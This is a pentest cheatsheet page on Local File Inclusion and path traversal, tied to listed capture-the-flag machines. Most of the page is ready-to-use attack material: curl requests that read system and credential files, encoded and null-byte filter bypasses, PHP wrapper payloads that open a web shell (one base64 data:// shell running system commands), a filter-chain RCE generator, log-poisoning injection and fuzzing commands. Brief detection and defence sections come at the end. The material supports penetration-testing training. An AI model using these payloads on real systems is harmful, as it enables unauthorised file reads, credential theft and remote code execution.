Local File Inclusion (LFI) & Path Traversal
Full command arsenal in the cheatsheetPath traversal (or directory traversal) is a vulnerability where an application builds a file path from user input without sanitising it. If the attacker injects ../ sequences (go up one directory), they can escape the intended directory and read files anywhere on the system. When the outcome is including a local file in the response (typical of PHP include/require), it is called LFI (Local File Inclusion), and there the read can escalate to code execution. There is no single payload: every app filters, prefixes or appends extensions differently, so LFI is mostly a game of trying variants until one gets through the sanitisation.
Reading files
A legitimate request asks for a resource inside the web folder, but prepending enough ../ walks up to the disk root and from there to a known absolute path. Repeat the pattern generously (each extra ../ stays at the root without erroring) and use --path-as-is so curl does not collapse the ../ before sending them:
curl 'http://<ip>/index.php?page=../../../../../../etc/passwd' --path-as-is
curl 'http://<ip>/index.php?page=/etc/passwd' --path-as-is # absolute path, no traversal
curl 'http://<ip>/index.php?page=....//....//....//etc/passwd' --path-as-isIf the app prefixes a directory (e.g. includes pages/<param>), the traversal must start from that prefix: pages/../../../../etc/passwd. If it appends an extension (<param>.php), you must cut it off (see null byte, truncation and wrappers below).
Target files: Linux and Windows
Half the job is knowing what to ask for. Linux is not Windows, and it pays to go for files that the web service user (www-data, apache, IIS AppPool) can almost always read before reaching for /etc/shadow (root only).
Linux, almost always readable and useful:
/etc/passwd # users and home paths (basis for SSH keys)
/etc/hosts /etc/os-release # internal network and OS version
/proc/self/environ # web process environment variables (sometimes secrets)
/proc/self/cmdline # process launch line
/proc/self/fd/0 /proc/self/fd/8 # open descriptors (sometimes logs)
/proc/net/tcp /proc/net/fib_trie # internal ports and addresses
/home/<user>/.ssh/id_rsa # private key -> direct SSH access
/home/<user>/.bash_history # commands and sometimes credentials
/var/www/html/config.php # app config (try wp-config.php, .env, database.yml)
/etc/apache2/sites-enabled/000-default.conf # paths, vhosts, real docroot
/etc/shadow # only if the service runs as rootWindows, common targets:
C:\Windows\System32\drivers\etc\hosts # equivalent of /etc/hosts
C:\Windows\win.ini # always present, good LFI test
C:\inetpub\wwwroot\web.config # connection strings, IIS secrets
C:\Windows\System32\inetsrv\config\applicationHost.config # global IIS config
C:\Windows\Panther\Unattend.xml # (and Unattended.xml/sysprep.xml) deployment creds
C:\xampp\apache\conf\httpd.conf C:\xampp\php\php.ini # XAMPP stack
C:\Users\<user>\.ssh\id_rsa # user SSH key
C:\Windows\System32\config\RegBack\SAM # SAM backup (sometimes readable)On Windows many servers accept both / and \; if one fails, try the other separator.
Getting past filters: bypass arsenal
When there is sanitisation, you try variants until one gets through. From simplest to most aggressive:
# 1) Filter that strips "../" ONCE (non-recursive): removing it leaves "../"
....//....//....//etc/passwd
..././..././..././etc/passwd
....\/....\/etc/passwd
# 2) URL encoding (once) of "../"
%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/etc/passwd
# 3) Double encoding (WAF decodes once, app decodes again)
%252e%252e%252f%252e%252e%252fetc%252fpasswd
# 4) Invalid / overlong UTF-8 (classic on IIS and some filters)
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
..%c1%9c..%c1%9cwindows\win.ini # %c1%9c = "\" for Windows
# 5) Null byte: cuts the extension the app appends (PHP < 5.3.4)
../../../../etc/passwd%00
../../../../etc/passwd%00.php
# 6) Length truncation: pad past the limit and drop ".php" (old PHP)
../../../etc/passwd/./././././././[...x2000]
../../../etc/passwd..............[...]
# 7) Forced prefix: if the app requires it to start with a known directory
uploads/../../../../etc/passwdIf the app validates that the name ends in .php (or similar), the php://filter (next section) often bypasses it because it needs no extension. A file:///etc/passwd or, on Windows, a UNC path \\<lhost>\share\file are alternatives when ../ is fully blocked.
PHP wrappers: read the code and execute
When the inclusion goes through PHP, wrappers widen the attack. php://filter returns the source code in base64 (useful to find credentials or more flaws), and data:///php://input allow direct RCE if allow_url_include is on:
# read a .php source (not executed, encoded)
curl 'http://<ip>/index.php?page=php://filter/convert.base64-encode/resource=config'
# RCE with data:// (requires allow_url_include=On)
curl 'http://<ip>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=id'
# RCE with php://input (POST the PHP code in the body)
curl 'http://<ip>/index.php?page=php://input' --data '<?php system("id"); ?>'Even without allow_url_include, an iconv filter chain generates a payload that produces arbitrary PHP code using only php://filter, turning any PHP LFI into RCE:
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# returns a very long php://filter/... to paste into the vulnerable parameterOther read/exec wrappers have their own page: php://filter, zip://, phar:// and expect:// (RCE if loaded).
LFI to RCE by poisoning
If there are no wrappers, you include a file on the server itself where you have injected PHP:
- Log poisoning: inject
<?php system($_GET[c]); ?>into theUser-Agent(lands inaccess.log) and then include/var/log/apache2/access.log. See log-poisoning. - /proc/self/environ or
/proc/self/fd/N: include controllable environment variables. - PHP sessions: write the payload into a session value and include
/var/lib/php/sessions/sess_<PHPSESSID>.
Automation
ffuf -u 'http://<ip>/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
# classic Windows/Linux path list
ffuf -u 'http://<ip>/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 0How to detect it. The signature is in the parameter itself: ../ sequences (or encoded: %2e%2e%2f, ..%2f, %252e, %c0%ae), known absolute paths (/etc/passwd, \windows\win.ini, web.config) and php:///data:///expect:// schemes in the query string or body, visible in the access log and flagged by any WAF. A single client trying dozens of depth variants (../ repeated n times) or encodings gives away the payload sweep. On the host side, LFI-to-RCE shows up as the web process (www-data) reading /var/log/..., /proc/self/environ or session files, or spawning sh/id as a child of the server. The key: requests that leave the expected web tree.
Defence. Do not build paths or includes from user input; if unavoidable, canonicalise (realpath) and check the result stays inside the allowed directory (not filters that strip ../ only once), use a page allow-list, disable allow_url_include/allow_url_fopen and run the service with least privilege. It chains with log poisoning, the zip/phar wrapper and credential reuse of the secrets you read.
Machines where it's used
- AlertHackTheBox
- ApexProving Grounds Practice
- BackdoorHackTheBox
- BackendHackTheBox
- BigPivotingDockerLabs
- BuscaloveDockerLabs
- ChemistryHackTheBox
- ClueProving Grounds Practice
- FishProving Grounds Practice
- HealHackTheBox
- Infovore 1VulnHub
- InstantHackTheBox
- LinkVortexHackTheBox
- MailingHackTheBox
- OpenSourceHackTheBox
- PayDayProving Grounds Practice
- PsychoDockerLabs
- ServmonHackTheBox
- Symfonos 5VulnHub
- TrickHackTheBox
- Vulnerable Lab (1 · 4 · 5)VulnHub
- WallpaperHubProving Grounds Practice
- XposedAPIProving Grounds Practice
- YummyHackTheBox